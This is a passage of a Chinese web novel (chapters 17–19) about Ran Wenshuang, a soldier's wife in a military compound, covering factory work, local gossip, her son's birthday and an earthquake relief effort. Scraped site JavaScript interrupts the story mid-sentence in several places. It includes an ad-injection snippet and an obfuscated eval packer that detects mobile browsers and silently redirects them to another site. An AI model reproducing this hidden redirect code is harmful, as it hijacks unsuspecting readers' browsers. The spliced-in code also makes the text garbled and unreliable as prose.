她学生时代要是遇到这种事情,真会找老师告状,找爸妈告状。 她爸妈会来学校讨说法的。 正因为父母让她可以依靠,可以倾诉,她小时候才不会轻易被诱惑。 非要说诱惑,这辈子只被谢衡诱惑过。 第一眼被他外表吸引,这种吸引可能会被他说话的腔调或者轻浮的行为打碎。 事实上他一说话,她更爱了。 他的行为也很正人君子。 正人君子到,她都没察觉到他也喜欢自己,竟然喜欢到想和她结婚。 两人没有血缘关系,有共同的亲戚,能认识也是这位亲戚的原因。 她有想过他是不是被施压了,问他原因。 他回答没有被施压,只是单纯喜欢她。 担心她出事,只好“先下手为强”。 他对她同样是一见钟情。 爸妈教过她的。 看一个人不能只看外表,要看他的言行举止,谢衡各项都是高分。 有些东西很难装出来。 她能分辨得清,“缺爱”的小玉就难分辨了。 “是啊,幸好有我,说起来还得是嫂子的身份,如果我是她亲姐,我可能没多少耐心,不会绕圈子,而是跟公婆一样了。” 嫂子的身份让她对小玉比亲姐多了几分客气,正是这种客气,她才没被彻底排斥。 冉文霜:“我理解你的意思。” 她不会因为黄糕没占到自家的便宜高兴,这本就不是值得高兴的事,听到小玉的事解决了,她由衷为小玉感到高兴:“真好啊,小玉的事情算是解决了。” 常巧芬聊完了:“对啊,也没我想象中那么难,我先走了,我得去别家问问蝗虫的情况。” 小姑子的事情已经解决,她目前对黄糕的情况更关注。 冉文霜清楚她在家属院人脉很广,能说得上话的人家比她还多,随她去了。 把常巧芬送到门口,冉文霜看向两个仍在啃饼的小朋友:“你们吃饱了?” “没饱。”芍芍开始瞎说。 女儿分到的那块大饼都已经被吃掉半个,按照小朋友慢吞吞的咀嚼速度,应该会有饱腹感的。 “这样啊,芍芍没吃饱,妈妈给芍芍炒个大白菜,配饼子吃。” “我吃饱啦!”芍芍立刻改口。 升升没有妹妹那么排斥大白菜,正好大饼吃得有点干,他和妈妈说他要吃炒白菜。 同常巧芬聊了好一会儿,外面天都黑了,丈夫应该快回来,冉文霜想着:“妈妈用白菜酸菜煮面条吧,你们要是能吃得下,可以再来点面条。” 晚上本就打算吃面条的,她计划先煮好汤,等丈夫回来再下面条。 结果连菜都没来得及洗,巧芬就送了大饼过来。 酸菜也是巧芬送的。 巧芬知道她从来不腌酸菜咸菜,没问她理由,只问她要不要她腌的。 她说要的,巧芬每次腌酸菜,腌好了都会送她一些。 不光巧芬送,别的家属也送。 家里不缺酸菜,煮酸汤面条好了。 女儿不吃白菜,能吃白菜腌的酸菜。 芍芍或许不介意自己吃不到炒白菜,甚至会想要哥哥多吃点,快些消灭大白菜,她这个妈妈介意她和丈夫以及升升吃菜的时候,芍芍只能吃大饼。 对于妈妈要煮面的打算,小朋友们都没意见。 谢衡在妻子烧火煮汤,孩子吃饼的时候回到家里。 见到饭桌上的大饼,他问:“我可以吃吗?” 冉文霜想到丈夫饥饿时候吃饼的习惯:“再等等吧,等面条煮好。” 丈夫不是特别爱吃饼,能看到就想吃是饿了。 他饿极时的吃饭状态啃大饼,绝对会噎到,至少配碗酸菜汤。 谢衡帮忙煮面。 终于到了吃晚饭的时间,冉文霜将提前盛出来放凉的一碗酸菜汤交给丈夫,让丈夫就着酸菜汤吃饼。 先喝口酸菜汤,再开始吃饼。 因着她和孩子已经提前吃过饼了,所以每人都是一小碗面汤,面条不多,大多数面条都在爸爸的盆里。 爸爸吃汤面用盆的。 冉文霜在丈夫吃饼的时候搅拌他盆里的面,这样凉得更快,省得他吃的时候烫嘴。 不出所料,他现在饿极了,吃饼吃出狼吞虎咽的感觉。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 孩子们还在吃她最开始掰给他们的饼,他们的吃相同爸爸比起来实在是秀气。 谢衡很快吃掉半个饼,喝完一碗酸菜汤:“我把剩下的饼泡进面里。” 冉文霜没意见:“巧芬拿过来的时候还是热乎的,这会儿凉掉更难嚼了吧,给我,我撕成小块泡面里。” 饼泡汤里也是种吃法,她不太习惯这种吃法。 丈夫能吃得下去就随他好了。 谢衡听话把饼递给她,由她撕饼,自己开始吃面条。 冉文霜忙活完开始吃她自己那份晚饭。 芍芍等啊等,没等到妈妈开口,只能她开口了:“爸爸!” “嗯?”谢衡吃完一口面条,抬眼看向女儿。 爸爸在认真听自己说话,芍芍开始说了:“小鱼吃蝗虫,小鱼好啦。” “这样啊,爸爸还没听说过吃蝗虫的小鱼,不过吃……吃虫子也算正常。”谢衡想说,吃人的鱼都有,吃蝗虫的也算正常。 没能说出口。 怕妻子嗔怪他在孩子面前说吓人的话,以后孩子对鱼有阴影,不敢吃鱼了怎么办。 冉文霜竟然奇妙理解了丈夫未尽的话语,她必须将话拉回正常方向:“下午巧芬和我聊了今年上半年新来家属的事,小姑子的事,是两件事,她们两个没任何联系,芍芍可能就听见小玉和蝗虫两个词,自己串在一起,编了一句话。” 她们说了好一会儿,女儿是真会做总结。 她也不试图和女儿讲清楚原话是什么,只把事情简略告诉丈夫。 谢衡听完:“黄糕的男人性格浮躁,油嘴滑舌,不是什么好人。” 唐红娇的男人,他看表面说不出所以然,黄糕的男人他不用过多接触就下了这样的结论。 冉文霜想点头,看他突然笑了:“你是不是又在笑我了?” 夫妻之间的默契让她觉得他绝对是在笑自己。 谢衡毫不隐瞒:“我想到你恼怒于自己的汤被当刷锅水就觉得好笑,不是笑汤,是笑你恼怒的反应。” 妻子之前没告诉他黄糕来家里的事,刚才一起说了。 太可爱了。 冉文霜羞恼:“别笑了,吃面条吧,彻底凉了就不好吃了。” 谢衡忍笑了几秒,脸上笑意终于消散,继续吃面条。 芍芍见妈妈终于把下午和巧芬阿姨说的好多好多话说给爸爸听,满意了,深藏功与名。 17. 第 17 章 部队会给家属们安排工作,有几家工厂就开在家属院附近。 冉文霜在食品加工厂干活。 她们工厂生产的食物是给军人行军打仗,外出执行任务食用的。 当初刚到家属院选工作的时候,大家以为她会做文职或者进广播站,她没进,她去当女工了。 原本有制衣厂和食品加工厂两个选择,这两个工厂是几个工厂里要求最高的,她都达到要求,最后选了食品加工厂。 制衣厂主要做缝纫工作,她缝纫水平达到要求,只是觉得制衣厂费眼睛,最终选择食品加工厂。 食品加工厂的要求是讲卫生,干活麻利。 两个都很关键。 冉文霜完全不怀疑,巧芬没问她不腌酸菜的理由,可能是猜测她在厂子里干活看到太多腌酸菜的场景,甚至帮忙腌过,实在不想腌了。 类似饭馆厨子回家不想再做饭了。 食品加工厂分了几个厂区,冉文霜在饼干组。 饼干区离腌菜区不算特别远,她忙完饼干的时候,确实偶尔会给腌菜那边搭把手。 她不腌酸菜只是觉得不健康,没说酸菜不好吃,甚至厂子里有两款小菜,她觉得味道太好了,升升都能多吃一碗饭,芍芍暂时没尝过,尝过以后可能念叨着还想吃。 不健康的食物太多了,细究起来……完全没法细究,所以家属们送的腌菜,工厂发给她们这些工人的小菜罐头,她都照常和家人一起食用。 今年春耕开始,工厂有一半女工要去农场参加劳动,冉文霜留在工厂里。 不是因为她工作做得多好才留下来,无论做得多好,都是轮流来。 她们厂所有女工,被分成两大组了,冉文霜所在组去年参加春耕,今年就要参加秋收了。 秋收比春耕更累,所以厂里安排“劳逸结合”,今年参加春耕相对轻松些,明年就要去秋收。 巧芬是制衣厂工人,今年在春耕组,所以赶在春耕开始前回去老家探望家人,顺带解决小姑子的事。 家属们工作的所有工厂,只要家里男人放了探亲假,有放假证明,家属就能跟着放假,还不扣工钱。 春耕的话,是记工分,干完活会根据工分分到粮食,没干活就没有工分。 巧芬要是错过春耕,没有工分还是轻的,重的要被分到今年的秋收组。 秋收真能累死个人。 食品厂是家属院这边最大的工厂,有工厂食堂。 食堂只是挂个名字,其实饭菜还得家属们自带,早晨放蒸房里,到饭点给你热热,自己去拿就成。 因为春耕,食堂饭点少了一半人,空荡不少。 人少,完全无法浇灭大家闲聊的热情。 干活的时候不能闲聊,吃饭的时间能聊个够。 冉文霜安静吃着自己的饭,听大家的聊天内容。 她们在聊黄糕。 黄糕属于典型的懒馋且人品不好,无利不起早。 多亏她本人干啥啥不行,想进制衣厂和罐头加工厂,都被拒之门外了。 这两个地方就缺能干活的女工,没有闲散的工作让她做。 冉文霜在的饼干组,每天也是体力活为主,早期会感到身体酸痛,后面就习惯了。 妇女队长作为家属介绍人,带黄糕去两个工厂面试过,确定她干啥啥不行,就让她先闲着,她再想想给她推荐什么工作。 家属们想要进厂子工作,都得经过妇女队长的介绍。 妇女队长帮许多家属找到工作,已经练就了看人的本事,从面试的时候就看出黄糕没任何技术。 厂里面试工人的小领导通过套话,套到几句黄糕下意识的心里话,小领导意识到了,妇女队长也意识到了。 黄糕属于不光没有任何技术,还怕吃苦,不肯学习技术。 对于这样什么都不会,还不想学的人,妇女队长会考虑安排不需要技术含量的农活、力气活。 黄糕来的时候,今年田间劳动没开始,妇女队长暂时没给她安排任何活计,让她自己先适应家属院的生活。 后面黄糕挨家挨户“乞讨”的事情被妇女队长知道,庆幸自己没给她推荐工作的同时,对她进行了思想教育。 思想教育要有用,那就不是黄糕了。 今年妇女队长把她安排进春耕名单,听说秋收也会让她去。 有人问,让她参加秋收,偷粮食怎么办? “咱们那边农场的粮食哪有那么好偷,你不是参加过秋收,忘记什么情景了?” “累都累死了,没注意到,天天在想着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 快点收完吧,快点收完吧。” “你干活太认真了,没注意到有人偷懒被批评教育,我听说挺早以前有人大半夜想偷粮食的,被巡逻的士兵抓个正着,农场那边每天几十个士兵巡逻,白天偷不走的东西,晚上更偷不走。” 冉文霜听着,很是赞同,不要把巡逻士兵当成吃素的,谢衡告诉他们,农场巡逻士兵是可以开l枪的。 遇到想要偷粮食的人,毫不悔改,态度恶劣猖狂,巡逻士兵可以开l枪,打死人是被准许的。 不怕死就去偷一个试试。 至于干活过程中揣一些粮食进口袋偷偷带走,图什么呢……祈求别被任何人看见吧。 干农活期间有匿名举报制度,举报后,相关监察人员核实确有其事,会给奖励。 这个匿名是对别的家属匿名,对监察人员不匿名,所以奖励会在劳动结束一段时间后送到举报者家里去。 这样的举报机制大大提高了家属的举报积极性……主要是为了奖励才积极的。 为了奖励瞎举报的家属也会被加入“黑名单”。 总体比较公正,基本不会有冤假错案。 “我没想到雷韵能和黄糕走在一起,她们俩臭味相投吗?” “我听我家男人说过,雷韵他男人今年下半年会离开部队,估计走之前想作妖吧。” “我也听说过了,现在谁搭理她们?随她们作妖去,真闹出事了,雷韵马上就跑,黄糕还在家属院,有她苦头吃。” 原来大家都知道雷韵丈夫今年会离开部队。 看来真是板上钉钉了。 冉文霜决定回去多和唐红娇说两句,让她把家里能锁起来的食物都锁起来。 唐红娇这里最好下手,要是被雷韵黄糕一起盯上,真是倒大霉了。 她男人不在家,家里没一个能顶事的,宝宝还小,都不会走路,是没法指望像她家升升芍芍拦住“坏人”了。 吃完饭,大家又投入忙碌的工作中。 食品加工厂过年比较冷的一段时间不会进行食品生产,因为极高温和极低温都影响机器运转,供能不足,不生产的这段时间,就由技术人员负责维护机器。 工厂库存的食品已经被消耗许多,正式开工后,大家工作量就会和年底一样增加了。 18. 第 18 章 春耕春种结束后,冉文霜的工作稍微轻松下来。 春耕期间,厂子人手不足,她没法按时接在幼儿园的升升和在托儿所的芍芍回家,只能接他们到工厂待着。 等她干完活带孩子回家,天已经黑了。 丈夫没有外出执行任务的话,会回家做晚饭,做好饭接她和孩子回家。 无论他在不在,冉文霜都要先给孩子们吃饼干垫肚子,回到家再吃晚饭。 小朋友们先前没来过妈妈工作的地方,来过一次后,颇有些乐不思蜀的意味。 妈妈干活结束要走了,他们还想多待会儿。 食品厂实在太香,尤其是烘烤类的几个区,比如肉干组,妈妈工作的饼干组等等,都好吸引小朋友。 刚烘烤出来的饼干带着勾小朋友馋虫的香味。 光闻味道就想流口水,心情不自觉变好了。 冉文霜想说天天闻可不会觉得多香了。 她干活的时候穿着工作服工作帽,每天工作结束,脱掉工作服工作帽后会仔细洗脸洗手,确定身上没有饼干的味道。 就担心孩子们闻到饼干味,以为妈妈背着他们吃饼干。 今年这个时期比去年要忙,去年不至于接升升到工厂里等她下工。 芍芍主要是去年这时候太小了,如果她年纪大点,会记得自己前两年一直跟着妈妈待在食品加工厂里。 小宝宝芍芍待在小宝宝休息间里。 宝宝休息间不是只有芍芍一个小宝宝,还有别的小宝宝。 专门的育儿休息间是为了方便干活的妈妈照看婴幼儿。 等芍芍满两周岁了,她才把芍芍送到托儿所。 在托儿所过渡一年后去读幼儿园,算是让孩子提前经历与妈妈分别的“痛苦”,读幼儿园的适应期就不会太漫长难熬了。 ... “我来的真是时候,今天升升的生日吧。”常巧芬过来冉文霜家里,看她家晚饭挺丰盛的样子,估摸着时间,该是升升的生日了。 冉文霜:“是的,早上还给孩子们煮了长寿面吃,来吃点肉吧?” “我不吃了,我就跟你聊聊春耕期间发生的事情。” 冉文霜已经知道发生什么事情了。 不能低估家属间传播消息的速度。 不过她不介意再听一遍,听听巧芬的版本。 常巧芬要说的果然是黄糕的事。 雷韵人是坏,但在意工分,春耕期间有老实干活。 黄糕就没那么老实了,甚至是专人陪着她干活。 说盯着更确切,但凡黄糕有点偷懒的心思都会被骂赶紧干活。 监督她的人已经懒得对她进行任何思想教育工作,因为黄糕巴不得被教育,这样就不用干活了。 教育会教育,在春种结束后教育。 好在部队工分制进行过“改良”,像是黄糕这样有人盯着还能厚脸皮磨洋工的懒货,一天下来是拿不到多少工分的。 冉文霜:“我们工分制度挺合理。” “是吧,幸好我们农场相当于部队的粮仓,不用另外再上交到哪去,省了些步骤,部队自己能做主,要像是别的农村生产队,需要上交粮食,干多或者干少一样的工分,谁想辛苦干活,全都磨洋工去了。” “是很打消积极性……你真的不来两片肉尝尝味道吗?” 她做了回锅肉,等丈夫回来还得再放锅里翻炒一遍。 肉保证熟了。 两个小朋友就站在桌子旁边,眼巴巴盯着肉。 他们在肉刚出锅的时候已经尝过了,还想吃,妈妈说要等爸爸回来一起吃。 常巧芬进来闻到肉香确实有点馋了,听到冉文霜的话,忍不住夹了一片肉:“只吃这一片,你今天别怕黄糕过来,她没干多少活却累得不行,这两天比较安分。” “还好离得远,我家的肉香飘不到她家去。”冉文霜开玩笑。 说完黄糕的事,常巧芬不再久留,寻思着明天也去买点猪肉炒着吃。 谢衡回到家后,一家人就能正式开饭了。 开饭前,爸爸妈妈和芍芍三人分别祝升升生日快乐,升升也祝自己生日快乐。 芍芍小嘴冒着油光:“妈妈,哥哥,什么时候再生日。” “哥哥再过生日要等到明年了。”冉文霜没说下个月就是她和爸爸的生日。 谁知道那天爸爸会不会在家,到时候少一个人祝生日快乐,小朋友心里不平衡怎么办? 最好的解决办法是先不说,和升升过生日一样,在今天之前不告诉小朋友生日具体哪天,到了生日当天早上,煮长寿面,告知孩子生日的事。 在孩子们能记住各自生日前,她不会给孩子任何期待,一直是现在的形式,生日当天才告知。 芍芍对明年没多少概念,只听语气要好长好长时间。 好吧,她暂时不惦记哥哥下次过生日了。 谢衡没有插嘴。 没大人提醒,孩子们就不深究生日的事了。 ... 进入六月,在冉文霜盘算着丈夫和芍芍生日能吃到菜园子哪些菜的时候,坏消息传来。 不是夫妻双方家里出事,是一个县发生大地震,部队参与抗震救灾,需要立刻出发支援。 她最早得知消息,是从丈夫嘴里听到的,丈夫被派去抗震救灾了。 对此,冉文霜没有不舍,而是交代丈夫地震期间有哪些常见的疫病。 六月还是虫害病高发期,如果不幸被传染,一定要及时医治,不要强撑参与抗震救灾,因为可能造成大范围传染,救人不成反而害人。 谢衡一一应下。 冉文霜主要交代疫病。 至于外伤及外伤感染,部队的医疗班处理这类伤很有经验,不需要她多啰嗦了。 抗震救灾刻不容缓,谢衡在回家收拾好行囊后,披星戴月离开。 爸爸回家又出门的动静闹醒了升升,升升问妈妈怎么了。 冉文霜轻声安慰孩子:“刚才爸爸回来,爸爸要出任务,收拾完行李离开家了,升升快点睡觉,明天还得去幼儿园呢。” 升升正困着,听到妈妈的话,很快睡回去了。 睡眠质量很好的冉文霜,今晚难得失眠。 ... 第二天,家属们得到了募集捐款的消息。 妇女队长明确表示,这次捐款是强制性捐款,家属院每家每户都要捐。 最少捐一块钱,两天内所有家属捐款都交到她这里,她来统计。 迟迟不交的,她会亲自上门催。 最后期限还是不交,会被写到“大字报”上批评。 大字报贴墙壁让大家都看看。 雷韵黄糕这类人听到消息,是不会在心里骂的,柳霞走后,她们俩直接骂骂咧咧,骂出来了,让她们男人去支援不够,居然还盯上她们的钱! 她们两人的男人都抽到支援了。 不管家里男人有没有去支援,捐款都是大事。 众人满含心事回家。 路上人多不好讨论,冉文霜走路太快,常巧芬暂时追不上,只好先和另外三个家属一起,去离这里最近的家属家里商量一番。 冉文霜很快回到自家,点出钱后,没有着急去妇女队长办公室交钱,而是等常巧芬过来。 不到二十分钟,常巧芬过来了。 冉文霜等着她问捐款的事。 出乎意料,常巧芬最先说的不是捐款,她说了谢衡的事。 但凡有点血性的军人都主动要求参与抗震救灾。 支援要去,部队也要有人留守。 不能一窝蜂全派去了。 所以最后是抽签决定谁去谁留。 常巧芬自家男人去支援,没抱怨一句,他是想去的。 谢衡抽到的却是留在部队,他自己坚持要支援,上级考虑过后就加上他了。 只给谢衡破例。 其他人老老实实留在部队坚守自己的岗位。 常巧芬觉得文霜可能不知道这事,今天下午就想找她说了,然而捐款的事宛如平地惊雷,炸得大家不知所措。 冉文霜:“我了解他的性格,他要是不去,就不是他了。” 她心里难过丈夫接下来一阵子要承受的痛苦,可是更难过被埋在废墟里的人。 尤其是老人和小孩,他们不是家里的主要劳动力,可能在地震发生前,都没能吃饱饭,饿着肚子。 想到和自家两个宝贝一样大小的孩子埋在废墟里,她就眼睛发酸。 只希望救援工作迅速展开,尽量减少伤亡。 说完谢衡的事了,常巧芬才说起捐款。 最低标准的一块钱对她们来说已经不少了,然而真的卡在最低一块钱捐款线也不太好,她和几个家属商量后,决定捐五块钱。 相识的几个家属统一下捐款金额,她问冉文霜打算捐多少。 冉文霜直说:“一百块钱。” “啊,捐这么多……”常巧芬惊愕。 这是她第一次在冉文霜面前露出惊愕的表情。 冉文霜:“我本来考虑能不能翻出芍芍穿不下的衣服捐出去,仔细想想,这个季节的衣服,实在没有能捐的,就只能捐款了。 我也不是多富裕的人家,只是想到那些本就忍饥挨饿还要面临大灾的可怜人……略尽绵薄之力。 我手脚健全,有劳动能力,不担心没钱,要是我这些钱能让更多受灾群众吃到饭,我也不算白捐了。” 家里有芍芍穿不下的冬天小衣服,她整理好了,打算寄给爸妈那边的亲戚。 现在寒冷的话,她会把这些衣服捐给灾区。 她没承诺过亲戚会寄送给她们,只想直接寄,再写封信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13869824|146839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明。 灾区需要的话,她会捐给灾区。 天气热了,这些衣服没法捐,她只好按照原计划寄给亲戚。 至于芍芍夏天的衣服,芍芍自己穿的也是旧衣服,夏天衣服轻便,容易撑大,实在撑不大,穿不下了的,因为携带方便,已经被她整理出来,今年探亲的时候带回家送人了。 常巧芬:“第一次见着活菩萨,我没你这种思想觉悟。” 冉文霜:“你才是正常人的想法,家家有本难念的经,五块钱已经非常多了。 你就当从来不知道我要捐多少钱的事,我清楚捐这么多钱,被一些人知道了,会觉得我在装,阴阳怪气我真有钱。 我不怕她们说我,我只想尽我所能救助更多人。” “我知道了,我会为你保密的,你要是捐十块钱我还能帮你说说,让大家知道你人多好,捐一百块钱,我实在说不出口,树大招风。”她会保密的。 这简直是明晃晃告诉所有人:我家有很多钱!快来我家打秋风! 这么说吧,她和丈夫一个月工资加起来超过一百块钱了,但是不紧衣缩食的话,三个月都攒不下一百块钱。 她家男人是军人,她能不给他买肉吃吗? 肉就要几毛钱一斤了,加上要养孩子,孩子们也是能吃的年纪。 吃饭叫他们存不下太多钱了。 不算工资多少,不算粮食肉价,简单明了说吧,文霜是把两个月的工钱全部捐出去了。 两个月白干。 她没记错的话,文霜过年回去老家,也花了不少钱。 ……但愿娘家和婆家都有补贴她。 补贴大概在孩子压岁钱里,她听文霜的语气,她可能是把存款全捐出来了。 太伟大了。 冉文霜:“巧芬,谢谢你。” “有什么好谢我的,应该要谢谢你自己。” 常巧芬说完离开了,在冉文霜要去捐钱的时候,听了一会儿的升升问妈妈是怎么回事。 这种事情上,冉文霜不想糊弄孩子们,认真仔细和两个孩子说明。 芍芍听得迷迷糊糊的,没有完全明白的样子。 升升听明白了:“妈妈,我要捐钱,我有钱,压岁钱。” 芍芍附和哥哥:“我也有,碎碎钱。” 哥哥说的是鸭鸭钱还是碎碎钱? 芍芍确定自己的钱是零散钱,所以是碎碎钱。 “芍芍也要捐款?”她把捐钱是什么意思仔细解释给芍芍听。 “要!”芍芍大概明白了,钱是给饿肚子的人买饭吃。 她肚子不饿,也不怎么花钱,可以捐出去。 冉文霜告诉孩子们最低一块钱,他们想捐多少? 升升问一块两毛钱行吗? “当然可以。” 芍芍学哥哥,也是一块两毛二。 她问过哥哥她有多少钱,哥哥给她数过,是两毛钱,这会儿感觉到一块两毛钱超出了她持有的钱,问妈妈她有那么多钱吗? “有的,你们手里的钱自己留着,妈妈从帮你们保管的压岁钱里拿。” 这倒是让两个小朋友开心起来了,原来他们还有那么多钱在妈妈手里。 手里的钱不用给出去,等于没花钱就做了好事。 ... 妇女队长办公室外,暂时没有家属排队捐款。 大家可能打算等等,先打听各家捐款多少,明天再捐。 这刚好方便了冉文霜。 办公室门上贴了纸,写明捐款请有序排队。 见冉文霜过来,柳霞让她随手把门关上。 冉文霜是家属院里思想觉悟最高的家属,之前也有需要筹集捐款的时候,她往往是最先过来的。 “霞姐,我捐一百块钱,我两个孩子各捐一块两毛钱,能单独写上他们的大名吗?”冉文霜想让自家孩子的名字也登记在本子上。 她把一百块钱交到柳霞手里,升升芍芍也把抓手里的一块两毛钱放到办公桌上。 柳霞了解冉文霜的性格,知道她会比别的家属捐更多钱,已经另翻开一页登记,打算给她单独登记,以免被别的家属看见,议论纷纷。 没成想这次捐了更夸张的金额。 她面上没露出惊诧的神色,点头应下:“可以,你在这里写下自己和孩子们的大名,名字后面写金额,三个名字随便横着写或者竖着写。” 交代完了,柳霞开始点钱。 金额无误。 “好,我明白了。”冉文霜开始写名字。 写完先给两个孩子看,他们的名字已经被记到本子上去了。 两个小朋友看完都点头。 芍芍是小文盲,看不懂字,只假装看懂了,点点头。 两个孩子确认过了,冉文霜没有在妇女队长面前争表现的想法,带着孩子离开。 19. 第 19 章 如今交通不发达,运输困难,从部队出发,到达受灾县需要大半天时间。 多次捐赠不太现实,车到了受灾县,肯定要在受灾县候命,短时间内不会回来了,时间不等人,先把能捐出去的库存都捐出去。 库存差不多清空了,全厂子的人又要加班加点干活。 大灾急缺医疗资源和食物,家属院几个工厂,食品加工厂最忙,忙到借了其它工厂的工人。 即使借到人了,冉文霜这些原本就属于食品工厂的工人还是得加班加点干活。 比春耕期间更忙,忙到工厂提供三顿饭了。 请了当地的阿姨做饭。 几个阿姨住在厂子一段时间,专门负责给她们和她们的孩子做饭。 吃过晚饭,小朋友们待在一起玩游戏,妈妈们继续干活。 冉文霜估算着孩子们的睡觉时间,提前半个小时带他们回家洗漱睡觉。 小朋友们没烦心事,作息规律,等孩子们睡着后,她出门干活了。 要干到零点之后才能回家,第二天早上七点把孩子们带去工厂吃早饭,吃完早饭,再送他们去幼儿园和托儿所。 听到食品加工厂要借人的时候,常巧芬主动申请调过去干活。 她不需要没日没夜加班,都是她主动留下来加班的。 她不接送孩子,让他们自己来吃饭,吃完自己上下学。 常巧芬不是图三顿饭才主动申请来帮忙,真心想要来帮忙。 确实很累,可想到辛苦支援的丈夫,又觉得她这点累没什么。 ... 吃饭了。 贺志年一手握着窝头,一手拿着碗,碗里是咸菜汤。 他已经累得快吃不动饭了,咬了两口窝头,问谢衡:“你现在在想什么?” 谢衡是被命令去休息的,前面两天简直不要命,除了吃饭和睡六个小时,其余时间都在参与救援。 睡觉时间少,吃饭速度快,拼命在和时间赛跑。 终究不是铁打的人,手被划伤了。 部分救援行动需要戴手套,谢衡就得戴,戴了两天,手套已经破破烂烂,没有新手套给他换,防护不足,手被划伤了。 手套很脏,出血却还是能洇出肉眼可见的血迹,实在藏不住了,被上级命令去处理伤口。 伤口处理好了,吃饭。 吃完饭再休息两个小时。 之后会给他安排别的工作。 贺志年知道谢衡的事情后,第一反应不是担忧,居然是想着,他终于休息了。 谢衡吃饭的时间,正好也轮到贺志年吃饭了,他坐到谢衡旁边。 两人都是席地而坐,没有多余的椅凳让他们坐,其他战士吃饭也是随便找块地方坐下吃。 谢衡:“不要再死人了。” 不可能实现的想法。 贺志年:“我看到那些孩子,想到自己孩子了。 我家孩子过得真是无忧无虑,包括我自己小时候,虽然我出生时期战火纷飞,但是我爸妈也把我保护得很好。 我小时候不懂战争意味着什么,同样是无忧无虑的。 上午去受灾群众安置点,经历过灾难的小孩子反而很乐观,甚至问我:解放军叔叔,我们还可以吃几天饭?我喜欢每天都能吃饱饭的日子。 我听到难受得不行。” 小孩子的心思比大人简单很多,没有亲人逝世、房子化为废墟的悲痛,能吃饱饭就叫他们满足了。 运送过来的食物不是大鱼大肉,有肉,是耐放的肉干,没法管够,分到每个人,能有一小粒肉干已经不错了。 主食是没怎么经过加工的粗粮,味道不太好。 饼干对他们来说都是美味了。 他家孩子能吃得下这些食物,却不会因为这些食物感到满足。 “文霜听到会很难过,回去了你别在她面前说这些事。”谢衡终于说了不一样的话。 原来他心里还有家人,贺志年无语了:“你先管好你自己吧,你现在这样不惜命,她知道了会更难过。” 他说不动他了,搬出他老婆比较好使。 谢衡沉默吃饭,没有应和他的话。 他不说话,贺志年想起来:“不知道你生日前,我们能不能回去,要是能回去,你就好好过个生日,庆祝自己重获新生吧,你要是倒下醒不来了,我都不意外。” 不是他在诅咒,他只是在说事实。 谢衡不当哑巴了:“我生日过不过无所谓,芍芍和我同个月生日,等回去了,我得祝她生日快乐。” 闻言,贺志年回他:“真是感天动地。” 他咬了一大口窝头,嚼吃下肚后:“我不是在说风凉话啊,我是真觉得感动。” 谢衡无所谓:“随便什么意思。” 贺志年看他不在意的样子,心想,等着吧,看他回去怎么告状。 ... 父女两人的生日只相隔了两天。 爸爸早两天。 直到女儿生日当天,爸爸都没回家。 今早起来,冉文霜没带孩子们去工厂吃早饭,自己煮了面条,属于芍芍的生日长寿面。 “芍芍生日快乐。”冉文霜先祝孩子生日快乐。 升升听到,很快跟在妈妈后面祝妹妹生日快乐,芍芍也祝自己生日快乐。 小朋友没有问:爸爸呢?爸爸什么时候回家? 大半个月没见到爸爸,刚满三周岁的芍芍又忘记爸爸的存在了。 仿佛家里从始至终只有她、妈妈和哥哥三个人。 至于升升,已经习惯爸爸长时间不在家了。 有件事情是可以提前告诉孩子们的,冉文霜告知孩子们:“今天是芍芍的生日,妈妈没空做晚饭,所以托常阿姨做饭,晚上我们到常阿姨家吃饭,为芍芍过生日。” 忙活了快一个月,巧芬听到她的请求,毫不犹豫答应下来,今天就不加班了,早点回家做饭菜。 当地阿姨们做的菜是不难吃,可大锅饭……每天还是差不多口味,已经吃腻了,今天她来做些小炒吃。 “吃肉肉。”芍芍对肉肉的执念很深。 工厂能吃到肉,只是都是炖肉,而且炖得不够烂,芍芍咬了一口,没吃下去,不想吃了。 白菜在小朋友眼里都可爱起来了。 冉文霜:“今天有肉肉的,放心。” ... 到了晚饭时间,冉文霜带着孩子们去到常巧芬家里。 晚饭食材需要花钱的,她出钱,肉票也是她提供。 连米都是自家米,她想给巧芬人工费,巧芬拒绝了,说自己和孩子蹭上饭了,不需要专门给钱。 冉文霜没再坚持。 一进屋子就能闻到浓烈的肉香味。 “快坐下吃饭。”常巧芬招呼大人小孩过来吃饭。 大人小孩都坐好了,常巧芬祝芍芍生日快乐,自家孩子也祝芍芍生日快乐。 芍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13869825|146839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芍礼貌回答谢谢,在别人家里是有点小矜持的。 常巧芬下午已经和自家孩子说明,晚上的食材全部冉阿姨提供,算是冉阿姨请他们一家人吃的。 不要比较,不要想着和妹妹过一样的生日。 你非要比较的话,别和妹妹比较,去和那些家园成为废墟的孩子比,别说生日了,他们能吃到饭已经很好。 还有一些孩子,甚至永远不会再有下次生日了。 她家孩子算是大孩子,懂道理的,所以就没在吃晚饭的时候闹腾,祝芍芍生日快乐后开始专注吃饭。 好久没吃到妈妈做的饭菜了。 妈妈做的饭菜似乎比以前更好吃。 